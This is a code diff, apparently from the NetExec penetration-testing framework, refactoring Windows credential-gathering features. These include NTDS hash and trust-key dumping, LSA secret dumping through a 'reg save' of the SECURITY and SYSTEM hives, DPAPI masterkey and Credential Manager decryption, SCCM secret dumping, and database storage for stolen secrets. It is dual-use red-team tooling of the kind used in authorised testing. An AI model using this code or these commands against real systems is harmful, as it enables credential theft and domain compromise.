ntds_outfile = f"{self.output_filename}.ntds"
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
if self.args.just_trust_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} trust keys to {ntds_outfile}.trustkeys")
|
||||
else:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.nt_lm_secrets)} NTDS hashes to {ntds_outfile} of which {highlight(add_hash.added_to_db)} were added to the database")
|
||||
if self.args.kerberos_keys:
|
||||
self.logger.success(f"Dumped {highlight(add_hash.kerb_secrets)} Kerberos keys to {ntds_outfile}.kerberos")
|
||||
self.logger.display("To extract only enabled accounts from the output file, run the following command: ")
|
||||
self.logger.display(f"grep -iv disabled {ntds_outfile} | cut -d ':' -f1")
|
||||
except Exception as e:
|
||||
# if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0:
|
||||
# We don't store the resume file if this error happened, since this error is related to lack
|
||||
|
||||
@@ -3,7 +3,7 @@ import threading
|
||||
import warnings
|
||||
from datetime import datetime
|
||||
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete
|
||||
from sqlalchemy import Boolean, Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, func, select, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert # used for upsert
|
||||
from sqlalchemy.exc import (
|
||||
SAWarning
|
||||
@@ -428,6 +428,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -725,13 +739,13 @@ class database(BaseDB):
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this group ID is valid.
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(groupID={dpapi_secret_id}) => {valid}")
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
|
||||
@@ -1,100 +0,0 @@
|
||||
from dploot.lib.target import Target
|
||||
from dploot.lib.smb import DPLootSMBConnection
|
||||
from dploot.triage.backupkey import BackupkeyTriage
|
||||
from dploot.triage.masterkeys import MasterkeysTriage, parse_masterkey_file
|
||||
|
||||
|
||||
def get_domain_backup_key(context):
|
||||
pvkbytes = None
|
||||
try:
|
||||
results = context.db.get_domain_backupkey(context.domain)
|
||||
except Exception:
|
||||
context.logger.fail(
|
||||
"Your version of nxcdb is not up to date, run nxcdb and create a new workspace: \
|
||||
'workspace create dpapi' then re-run the dpapi option"
|
||||
)
|
||||
return False
|
||||
if len(results) > 0:
|
||||
context.logger.success("Loading domain backupkey from nxcdb...")
|
||||
pvkbytes = results[0][2]
|
||||
elif context.no_da is None and context.args.local_auth is False:
|
||||
try:
|
||||
dc_target = Target.create(
|
||||
domain=context.domain,
|
||||
username=context.username,
|
||||
password=context.password,
|
||||
target=context.domain, # querying DNS server for domain will return DC
|
||||
lmhash=context.lmhash,
|
||||
nthash=context.nthash,
|
||||
do_kerberos=context.kerberos,
|
||||
aesKey=context.aesKey,
|
||||
no_pass=True,
|
||||
use_kcache=context.use_kcache,
|
||||
)
|
||||
dc_conn = DPLootSMBConnection(dc_target)
|
||||
dc_conn.connect() # Connect to DC
|
||||
if dc_conn.is_admin():
|
||||
context.logger.success("User is Domain Administrator, exporting domain backupkey...")
|
||||
backupkey_triage = BackupkeyTriage(target=dc_target, conn=dc_conn)
|
||||
backupkey = backupkey_triage.triage_backupkey()
|
||||
pvkbytes = backupkey.backupkey_v2
|
||||
context.db.add_domain_backupkey(context.domain, pvkbytes)
|
||||
else:
|
||||
context.no_da = False
|
||||
except Exception as e:
|
||||
context.logger.fail(f"Could not get domain backupkey: {e}")
|
||||
return pvkbytes
|
||||
|
||||
|
||||
def collect_masterkeys_from_target(context, target, dploot_connection, user=True, system=True):
|
||||
masterkeys = []
|
||||
plaintexts = {}
|
||||
nthashes = {}
|
||||
if context.args.mkfile is not None:
|
||||
try:
|
||||
masterkeys += parse_masterkey_file(context.args.mkfile)
|
||||
except Exception as e:
|
||||
context.logger.fail(str(e))
|
||||
if user:
|
||||
plaintexts = {username: password for _, _, username, password, _, _ in context.db.get_credentials(cred_type="plaintext")}
|
||||
nthashes = {username: nt.split(":")[1] if ":" in nt else nt for _, _, username, nt, _, _ in context.db.get_credentials(cred_type="hash")}
|
||||
# dploot matches user.lower()
|
||||
if context.password != "":
|
||||
plaintexts[context.username.lower()] = context.password
|
||||
if context.nthash != "":
|
||||
nthashes[context.username.lower()] = context.nthash
|
||||
|
||||
# Collect User and Machine masterkeys
|
||||
try:
|
||||
context.logger.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
|
||||
masterkeys_triage = MasterkeysTriage(
|
||||
target=target,
|
||||
conn=dploot_connection,
|
||||
pvkbytes=context.pvkbytes,
|
||||
passwords=plaintexts,
|
||||
nthashes=nthashes,
|
||||
dpapiSystem={},
|
||||
)
|
||||
context.logger.debug(f"Masterkeys Triage: {masterkeys_triage}")
|
||||
if user:
|
||||
context.logger.debug("Collecting user masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_masterkeys()
|
||||
if system:
|
||||
context.logger.debug("Collecting machine masterkeys")
|
||||
masterkeys += masterkeys_triage.triage_system_masterkeys()
|
||||
except Exception as e:
|
||||
context.logger.debug(f"Could not get masterkeys: {e}")
|
||||
|
||||
return masterkeys
|
||||
|
||||
|
||||
def upgrade_to_dploot_connection(target, connection=None):
|
||||
conn = None
|
||||
try:
|
||||
conn = DPLootSMBConnection(target)
|
||||
if connection is not None:
|
||||
conn.smb_session = connection
|
||||
conn.connect()
|
||||
except Exception:
|
||||
return None
|
||||
return conn
|
||||
@@ -42,8 +42,12 @@ def proto_args(parser, parents):
|
||||
kerb_keys_arg.make_required = [ntds_arg]
|
||||
enabled_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--user", dest="userntds", type=str, help="Dump selected user from DC (NTDS.dit)")
|
||||
trust_keys_arg = cred_gathering_group.add_argument("--trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], default=True, help="Dump Trusted Domain Object (TDO) secrets and derive inter-realm Kerberos/RC4 keys (NTDS.dit)")
|
||||
just_trust_keys_arg = cred_gathering_group.add_argument("--just-trust-keys", action=get_conditional_action(_StoreTrueAction), make_required=[], help="Like --trust-keys but dump ONLY the trust keys, skipping every account secret (NTDS.dit)")
|
||||
trust_keys_arg.make_required = [ntds_arg]
|
||||
just_trust_keys_arg.make_required = [ntds_arg]
|
||||
cred_gathering_group.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cred_gathering_group.add_argument("--sccm", choices={"wmi", "disk"}, nargs="?", const="disk", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--sccm", action="store_true", help="dump SCCM secrets from target systems")
|
||||
cred_gathering_group.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cred_gathering_group.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
cred_gathering_group.add_argument("--list-snapshots", nargs="?", dest="list_snapshots", const="ADMIN$", help="Lists the VSS snapshots (default: %(const)s)")
|
||||
|
||||
@@ -6,7 +6,6 @@ from impacket.dcerpc.v5 import lsat, lsad, samr
|
||||
from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED
|
||||
from impacket.nmb import NetBIOSError
|
||||
from impacket.smbconnection import SessionError
|
||||
from nxc.protocols.ldap.constants import WELL_KNOWN_SIDS
|
||||
from nxc.helpers.rpc import NXCRPCConnection
|
||||
|
||||
|
||||
@@ -144,9 +143,7 @@ class LSAQuery:
|
||||
|
||||
def lookup_sids(self, sids):
|
||||
"""Use a list comprehension to generate the names list.
|
||||
If the user is requesting a single SID and it is a well known SID, return the well known SID name to avoid a lookup.
|
||||
Otherwise, it calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
|
||||
|
||||
It calls the hLsarLookupSids() method directly in the list comprehension and extracts the "Name" value from each element in the "Names" list.
|
||||
"""
|
||||
if len(sids) == 1 and sids[0] in WELL_KNOWN_SIDS:
|
||||
return [WELL_KNOWN_SIDS[sids[0]]]
|
||||
return [translated_names["Name"] for translated_names in lsat.hLsarLookupSids(self.dce, self.policy_handle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta)["TranslatedNames"]["Names"]]
|
||||
+39
-149
@@ -1,6 +1,6 @@
|
||||
import os
|
||||
import base64
|
||||
import traceback
|
||||
import binascii
|
||||
import requests
|
||||
import urllib3
|
||||
import logging
|
||||
@@ -12,19 +12,16 @@ from pypsrp.client import Client
|
||||
from pypsrp.powershell import PSDataStreams
|
||||
from termcolor import colored
|
||||
|
||||
from dploot.lib.utils import is_guid, is_credfile
|
||||
from impacket.dpapi import MasterKeyFile, MasterKey, CredHist, DomainKey, CredentialFile, deriveKeysFromUser, DPAPI_BLOB, CREDENTIAL_BLOB
|
||||
from dploot.lib.network.winrm import WINRMTarget as Target
|
||||
from impacket.examples.secretsdump import LocalOperations, LSASecrets, SAMHashes
|
||||
from impacket.uuid import bin_to_string
|
||||
|
||||
from nxc.config import process_secret, host_info_colors
|
||||
from nxc.connection import connection
|
||||
from nxc.helpers.bloodhound import add_user_bh
|
||||
from nxc.helpers.logger import highlight
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
from nxc.helpers.misc import gen_random_string
|
||||
from nxc.helpers.negotiate_parser import parse_challenge
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.paths import TMP_PATH
|
||||
|
||||
urllib3.disable_warnings()
|
||||
|
||||
@@ -41,6 +38,10 @@ class winrm(connection):
|
||||
self.challenge_header = None
|
||||
self.targetDomain = None
|
||||
self.no_ntlm = False
|
||||
self.dpapi_system_key = None
|
||||
self.no_da = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -373,7 +374,7 @@ class winrm(connection):
|
||||
SAM.dump()
|
||||
SAM.export(output_filename)
|
||||
|
||||
def lsa(self):
|
||||
def lsa(self, quiet=False):
|
||||
security_storename = gen_random_string(6)
|
||||
system_storename = gen_random_string(6)
|
||||
dump_command = f"reg save HKLM\\SECURITY C:\\windows\\temp\\{security_storename} && reg save HKLM\\SYSTEM C:\\windows\\temp\\{system_storename}"
|
||||
@@ -392,159 +393,48 @@ class winrm(connection):
|
||||
else:
|
||||
self.logger.fail(f"Failed to dump LSA secrets, error: {e!s}")
|
||||
else:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
if not quiet:
|
||||
self.logger.display("Dumping LSA secrets")
|
||||
local_operations = LocalOperations(f"{output_filename}.system")
|
||||
boot_key = local_operations.getBootKey()
|
||||
|
||||
def lsa_secret_callback(_, secret):
|
||||
if "dpapi_machinekey" not in secret:
|
||||
if not quiet:
|
||||
self.logger.highlight(secret)
|
||||
else:
|
||||
correl_table = {"dpapi_machinekey": "MachineKey", "dpapi_userkey": "UserKey"}
|
||||
self.dpapi_system_key = {correl_table[k]: binascii.unhexlify(v[2:]) for k, v in (elem.split(":") for elem in secret.splitlines())}
|
||||
if not quiet:
|
||||
self.logger.highlight(f"dpapi_machinekey:{self.dpapi_system_key['MachineKey'].hex()}")
|
||||
self.logger.highlight(f"dpapi_userkey:{self.dpapi_system_key['UserKey'].hex()}")
|
||||
LSA = LSASecrets(
|
||||
f"{output_filename}.security",
|
||||
boot_key,
|
||||
None,
|
||||
isRemote=None,
|
||||
perSecretCallback=lambda secret_type, secret: self.logger.highlight(secret),
|
||||
perSecretCallback=lsa_secret_callback
|
||||
)
|
||||
LSA.dumpCachedHashes()
|
||||
LSA.dumpSecrets()
|
||||
|
||||
def dpapi(self):
|
||||
"""
|
||||
Find and unlock Credential Manager masterkeys and credentials owned by user.
|
||||
The flow is inspired by and a simplified version of dploot's triage methods for user masterkeys and credentials.
|
||||
Actual decryption of keys and credentials is taken and adapted from impacket-dpapi.
|
||||
"""
|
||||
user_masterkey_path = ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Protect")
|
||||
user_credentials_paths = [
|
||||
ntpath.join("C:\\Users", self.username, "AppData\\Roaming\\Microsoft\\Credentials"),
|
||||
ntpath.join("C:\\Users", self.username, "AppData\\Local\\Microsoft\\Credentials")
|
||||
]
|
||||
self.dpapi_triage.triage_dpapi()
|
||||
|
||||
self.logger.display("Collecting DPAPI masterkeys...")
|
||||
@property
|
||||
def dpapi_triage(self) -> DPAPITriage:
|
||||
if self._dpapi_triage is not None:
|
||||
return self._dpapi_triage
|
||||
target = Target.create(
|
||||
domain=self.domain,
|
||||
username=self.username,
|
||||
password=self.password,
|
||||
address=self.host,
|
||||
port=self.port,
|
||||
ssl=self.ssl,
|
||||
lmhash=self.lmhash,
|
||||
nthash=self.nthash,
|
||||
)
|
||||
|
||||
sids = self.ps_execute(f"Get-ChildItem -Path {user_masterkey_path} -Name -Directory -Include 'S-*'", True)
|
||||
if not sids:
|
||||
self.logger.fail(f"No masterkeys found for user {self.username}")
|
||||
return
|
||||
|
||||
masterkeys = []
|
||||
for sid in sids.splitlines():
|
||||
keys_path = ntpath.join(user_masterkey_path, sid.strip())
|
||||
keys = self.ps_execute(f"Get-ChildItem -Path {keys_path} -Name -Hidden -File -Exclude 'Preferred'", True)
|
||||
for key in keys.splitlines():
|
||||
stripped_key = key.strip()
|
||||
if is_guid(stripped_key):
|
||||
key_path = ntpath.join(keys_path, stripped_key)
|
||||
self.logger.debug(f"Found masterkey file {key_path}")
|
||||
local_key_file = f"{TMP_PATH}/{stripped_key}"
|
||||
self.conn.fetch(key_path, local_key_file)
|
||||
decrypted_key = self.get_master_key(local_key_file, sid, self.password)
|
||||
if decrypted_key:
|
||||
masterkeys.append((stripped_key, decrypted_key))
|
||||
|
||||
if not masterkeys:
|
||||
self.logger.fail("Could not decrypt any keys")
|
||||
return
|
||||
|
||||
self.logger.success(f"Got {highlight(len(masterkeys))} decrypted masterkeys. Looting secrets...")
|
||||
|
||||
credential_files = []
|
||||
for user_credentials_path in user_credentials_paths:
|
||||
creds = self.ps_execute(f"Get-ChildItem -Path {user_credentials_path} -Name -Hidden -File", True)
|
||||
for cred_file in creds.splitlines():
|
||||
stripped_cred_file = cred_file.strip()
|
||||
if is_credfile(stripped_cred_file):
|
||||
creds_path = ntpath.join(user_credentials_path, stripped_cred_file)
|
||||
self.logger.debug(f"Found credentials file {creds_path}")
|
||||
local_cred_file = f"{TMP_PATH}/{stripped_cred_file}"
|
||||
self.conn.fetch(creds_path, local_cred_file)
|
||||
credential_files.append(local_cred_file)
|
||||
|
||||
if not credential_files:
|
||||
self.log.fail(f"No credential files found for user {self.username}")
|
||||
return
|
||||
|
||||
for creds_file in credential_files:
|
||||
with open(creds_file, "rb") as fp:
|
||||
data = fp.read()
|
||||
cred = CredentialFile(data)
|
||||
blob = DPAPI_BLOB(cred["Data"])
|
||||
|
||||
guid_masterkey = bin_to_string(blob["GuidMasterKey"])
|
||||
right_key = next((key for guid, key in masterkeys if guid.lower() == guid_masterkey.lower()), None)
|
||||
|
||||
if right_key is not None:
|
||||
try:
|
||||
decrypted = blob.decrypt(right_key)
|
||||
if decrypted is not None:
|
||||
self.logger.debug(f"Successfully decrypted credentials in {creds_file}:")
|
||||
creds = CREDENTIAL_BLOB(decrypted)
|
||||
if creds["Unknown3"] != b"":
|
||||
target = creds["Target"].decode("utf-16le")
|
||||
username = creds["Username"].decode("utf-16le")
|
||||
try:
|
||||
password = creds["Unknown3"].decode("utf-16le")
|
||||
except UnicodeDecodeError:
|
||||
password = creds["Unknown3"].decode("latin-1")
|
||||
self.logger.highlight(f"{target} - {username}:{password}")
|
||||
except Exception as e:
|
||||
self.logger.fail(f"Failed to decrypt credentials in {creds_file} with masterkey: {e!s}")
|
||||
self.logger.debug(traceback.format_exc())
|
||||
else:
|
||||
self.logger.fail(f"No matching masterkey found for credentials in {creds_file} (need {guid_masterkey})")
|
||||
|
||||
def get_master_key(self, masterkey_file, sid, password):
|
||||
"""
|
||||
Taken and adapted from impacket.examples.dpapi
|
||||
Could be cleaned up but the more we deviate from the original the harder it will be to maintain it
|
||||
"""
|
||||
with open(masterkey_file, "rb") as fp:
|
||||
data = fp.read()
|
||||
mkf = MasterKeyFile(data)
|
||||
data = data[len(mkf):]
|
||||
|
||||
if mkf["MasterKeyLen"] > 0:
|
||||
mk = MasterKey(data[:mkf["MasterKeyLen"]])
|
||||
data = data[len(mk):]
|
||||
|
||||
if mkf["BackupKeyLen"] > 0:
|
||||
bkmk = MasterKey(data[:mkf["BackupKeyLen"]])
|
||||
data = data[len(bkmk):]
|
||||
|
||||
if mkf["CredHistLen"] > 0:
|
||||
ch = CredHist(data[:mkf["CredHistLen"]])
|
||||
data = data[len(ch):]
|
||||
|
||||
if mkf["DomainKeyLen"] > 0:
|
||||
dk = DomainKey(data[:mkf["DomainKeyLen"]])
|
||||
data = data[len(dk):]
|
||||
|
||||
key1, key2, key3 = deriveKeysFromUser(sid, password)
|
||||
|
||||
# if mkf['flags'] & 4 ? SHA1 : MD4
|
||||
decryptedKey = mk.decrypt(key3)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (MD4 protected)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = mk.decrypt(key2)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (MD4)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = mk.decrypt(key1)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted key with User Key (SHA1)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key3)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (MD4 protected)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key2)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (MD4)")
|
||||
return decryptedKey
|
||||
|
||||
decryptedKey = bkmk.decrypt(key1)
|
||||
if decryptedKey:
|
||||
self.logger.debug("Decrypted Backup key with User Key (SHA1)")
|
||||
return decryptedKey
|
||||
self._dpapi_triage = DPAPITriage(self, target)
|
||||
return self._dpapi_triage
|
||||
@@ -1,4 +1,6 @@
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete
|
||||
import base64
|
||||
|
||||
from sqlalchemy import Column, ForeignKeyConstraint, Integer, PrimaryKeyConstraint, String, UniqueConstraint, select, func, delete, and_, or_
|
||||
from sqlalchemy.dialects.sqlite import Insert
|
||||
from sqlalchemy.orm import declarative_base
|
||||
|
||||
@@ -14,6 +16,8 @@ class database(BaseDB):
|
||||
self.UsersTable = None
|
||||
self.AdminRelationsTable = None
|
||||
self.LoggedinRelationsTable = None
|
||||
self.DpapiBackupkeyTable = None
|
||||
self.DpapiSecretsTable = None
|
||||
|
||||
super().__init__(db_engine)
|
||||
|
||||
@@ -69,6 +73,32 @@ class database(BaseDB):
|
||||
ForeignKeyConstraint(["hostid"], ["hosts.id"]),
|
||||
)
|
||||
|
||||
class DpapiSecret(Base):
|
||||
__tablename__ = "dpapi_secrets"
|
||||
id = Column(Integer)
|
||||
host = Column(String)
|
||||
dpapi_type = Column(String)
|
||||
windows_user = Column(String)
|
||||
username = Column(String)
|
||||
password = Column(String)
|
||||
url = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("host", "dpapi_type", "windows_user", "username", "password", "url"),
|
||||
)
|
||||
|
||||
class DpapiBackupKey(Base):
|
||||
__tablename__ = "dpapi_backupkey"
|
||||
id = Column(Integer)
|
||||
domain = Column(String)
|
||||
pvk = Column(String)
|
||||
|
||||
__table_args__ = (
|
||||
PrimaryKeyConstraint("id"),
|
||||
UniqueConstraint("domain"),
|
||||
)
|
||||
|
||||
@staticmethod
|
||||
def db_schema(db_conn):
|
||||
Base.metadata.create_all(db_conn)
|
||||
@@ -78,6 +108,8 @@ class database(BaseDB):
|
||||
self.UsersTable = self.reflect_table(self.User)
|
||||
self.AdminRelationsTable = self.reflect_table(self.AdminRelation)
|
||||
self.LoggedinRelationsTable = self.reflect_table(self.LoggedInRelation)
|
||||
self.DpapiSecretsTable = self.reflect_table(self.DpapiSecret)
|
||||
self.DpapiBackupkeyTable = self.reflect_table(self.DpapiBackupKey)
|
||||
|
||||
def add_host(self, ip, port, hostname, domain, os=None):
|
||||
"""
|
||||
@@ -274,6 +306,20 @@ class database(BaseDB):
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credentials_for_users(self, usernames: list[str], cred_type: str | None = None):
|
||||
"""Return credentials for a list of users from the database."""
|
||||
if cred_type:
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.credtype == cred_type,
|
||||
and_(or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames]))
|
||||
)
|
||||
else:
|
||||
q = select(self.UsersTable).filter(
|
||||
or_(*[self.UsersTable.c.username.like(f"%{name.lower()}%") for name in usernames])
|
||||
)
|
||||
|
||||
return self.db_execute(q).all()
|
||||
|
||||
def get_credential(self, cred_type, domain, username, password):
|
||||
q = select(self.UsersTable).filter(
|
||||
self.UsersTable.c.domain == domain,
|
||||
@@ -380,3 +426,113 @@ class database(BaseDB):
|
||||
elif host_id:
|
||||
q = q.filter(self.LoggedinRelationsTable.c.hostid == host_id)
|
||||
self.db_execute(q)
|
||||
|
||||
def add_domain_backupkey(self, domain: str, pvk: bytes):
|
||||
"""
|
||||
Add domain backupkey
|
||||
:domain is the domain fqdn
|
||||
:pvk is the domain backupkey
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable).filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
if not len(results):
|
||||
pvk_encoded = base64.b64encode(pvk)
|
||||
backup_key = {"domain": domain, "pvk": pvk_encoded}
|
||||
try:
|
||||
# TODO: find a way to abstract this away to a single Upsert call
|
||||
q = Insert(self.DpapiBackupkeyTable) # .returning(self.DpapiBackupkeyTable.c.id)
|
||||
|
||||
self.db_execute(q, [backup_key]) # .scalar()
|
||||
nxc_logger.debug(f"add_domain_backupkey(domain={domain}, pvk={pvk_encoded})")
|
||||
except Exception as e:
|
||||
nxc_logger.debug(f"Issue while inserting DPAPI Backup Key: {e}")
|
||||
|
||||
def get_domain_backupkey(self, domain: str | None = None):
|
||||
"""
|
||||
Get domain backupkey
|
||||
:domain is the domain fqdn
|
||||
"""
|
||||
q = select(self.DpapiBackupkeyTable)
|
||||
if domain is not None:
|
||||
q = q.filter(func.lower(self.DpapiBackupkeyTable.c.domain) == func.lower(domain))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_domain_backupkey(domain={domain}) => {results}")
|
||||
|
||||
if len(results) > 0:
|
||||
results = [(id_key, domain, base64.b64decode(pvk)) for id_key, domain, pvk in results]
|
||||
return results
|
||||
|
||||
def is_dpapi_secret_valid(self, dpapi_secret_id):
|
||||
"""
|
||||
Check if this DPAPI secret ID is valid.
|
||||
:dpapi_secret_id is a primary id
|
||||
"""
|
||||
q = select(self.DpapiSecretsTable).filter(func.lower(self.DpapiSecretsTable.c.id) == dpapi_secret_id)
|
||||
results = self.db_execute(q).first()
|
||||
valid = results is not None
|
||||
nxc_logger.debug(f"is_dpapi_secret_valid(dpapi_secret_id={dpapi_secret_id}) => {valid}")
|
||||
return valid
|
||||
|
||||
def add_dpapi_secrets(
|
||||
self,
|
||||
host: str,
|
||||
dpapi_type: str,
|
||||
windows_user: str,
|
||||
username: str,
|
||||
password: str,
|
||||
url: str = "",
|
||||
):
|
||||
"""Add dpapi secrets to nxcdb"""
|
||||
secret = {
|
||||
"host": host,
|
||||
"dpapi_type": dpapi_type,
|
||||
"windows_user": windows_user,
|
||||
"username": username,
|
||||
"password": password,
|
||||
"url": url,
|
||||
}
|
||||
q = Insert(self.DpapiSecretsTable).on_conflict_do_nothing() # .returning(self.DpapiSecretsTable.c.id)
|
||||
|
||||
self.db_execute(q, [secret]) # .scalar()
|
||||
|
||||
nxc_logger.debug(
|
||||
f"add_dpapi_secrets(host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, password={password}, url={url})")
|
||||
|
||||
def get_dpapi_secrets(
|
||||
self,
|
||||
filter_term=None,
|
||||
host: str | None = None,
|
||||
dpapi_type: str | None = None,
|
||||
windows_user: str | None = None,
|
||||
username: str | None = None,
|
||||
url: str | None = None,
|
||||
):
|
||||
"""Get dpapi secrets from nxcdb"""
|
||||
q = select(self.DpapiSecretsTable)
|
||||
|
||||
if self.is_dpapi_secret_valid(filter_term):
|
||||
q = q.filter(self.DpapiSecretsTable.c.id == filter_term)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif host:
|
||||
q = q.filter(self.DpapiSecretsTable.c.host == host)
|
||||
results = self.db_execute(q).first()
|
||||
# all() returns a list, so we keep the return format the same so consumers don't have to guess
|
||||
return [results]
|
||||
elif dpapi_type:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.dpapi_type) == func.lower(dpapi_type))
|
||||
elif windows_user:
|
||||
like_term = func.lower(f"%{windows_user}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif username:
|
||||
like_term = func.lower(f"%{username}%")
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.windows_user).like(like_term))
|
||||
elif url:
|
||||
q = q.filter(func.lower(self.DpapiSecretsTable.c.url) == func.lower(url))
|
||||
results = self.db_execute(q).all()
|
||||
|
||||
nxc_logger.debug(f"get_dpapi_secrets(filter_term={filter_term}, host={host}, dpapi_type={dpapi_type}, windows_user={windows_user}, username={username}, url={url}) => {results}")
|
||||
return results
|
||||
@@ -17,7 +17,9 @@ def proto_args(parser, parents):
|
||||
cgroup.add_argument("--dump-method", action="store", default="cmd", choices={"cmd", "powershell"}, help="Select shell type in hashes dump for sam or lsa")
|
||||
cgroup.add_argument("--sam", action="store_true", help="dump SAM hashes from target systems")
|
||||
cgroup.add_argument("--lsa", action="store_true", help="dump LSA secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", action="store_true", help="dump user's Credential Manager secrets from target systems")
|
||||
cgroup.add_argument("--dpapi", choices={"cookies", "nosystem"}, nargs="*", help="dump DPAPI secrets from target systems, can dump cookies if you add 'cookies', will not dump SYSTEM dpapi if you add nosystem")
|
||||
cgroup.add_argument("--mkfile", action="store", help="DPAPI option. File with masterkeys in form of {GUID}:SHA1")
|
||||
cgroup.add_argument("--pvk", action="store", help="DPAPI option. File with domain backupkey")
|
||||
|
||||
mapping_enum_group = winrm_parser.add_argument_group("Mapping/Enumeration")
|
||||
mapping_enum_group.add_argument("--dir", nargs="?", type=str, const="", help="List the content of a path (default path: '%(const)s')")
|
||||
|
||||
@@ -6,6 +6,9 @@ from nxc.config import process_secret
|
||||
from nxc.connection import connection, dcom_FirewallChecker, requires_admin
|
||||
from nxc.logger import NXCAdapter
|
||||
from nxc.protocols.wmi import wmiexec, wmiexec_event
|
||||
from nxc.helpers.dpapi import DPAPITriage
|
||||
|
||||
from dploot.lib.network.wmi import WMITarget as Target
|
||||
|
||||
from impacket import ntlm
|
||||
from impacket.uuid import uuidtup_to_bin
|
||||
@@ -47,6 +50,10 @@ class wmi(connection):
|
||||
}
|
||||
self.iWbemLevel1Login = None
|
||||
self.dcom_conn = None
|
||||
self.no_da = None
|
||||
self.dpapi_system_key = None
|
||||
|
||||
self._dpapi_triage = None
|
||||
|
||||
connection.__init__(self, args, db, host)
|
||||
|
||||
@@ -484,3 +491,30 @@ class wmi(connection):
|
||||
return output
|
||||
else:
|
||||
return output
|
||||
|
||||
@requires_admin
|
||||
def sccm(self):
|
||||
self.dpapi_triage.triage_sccm()
|
||||
|
||||
@requires_admin
|
||||
def dpapi(self):
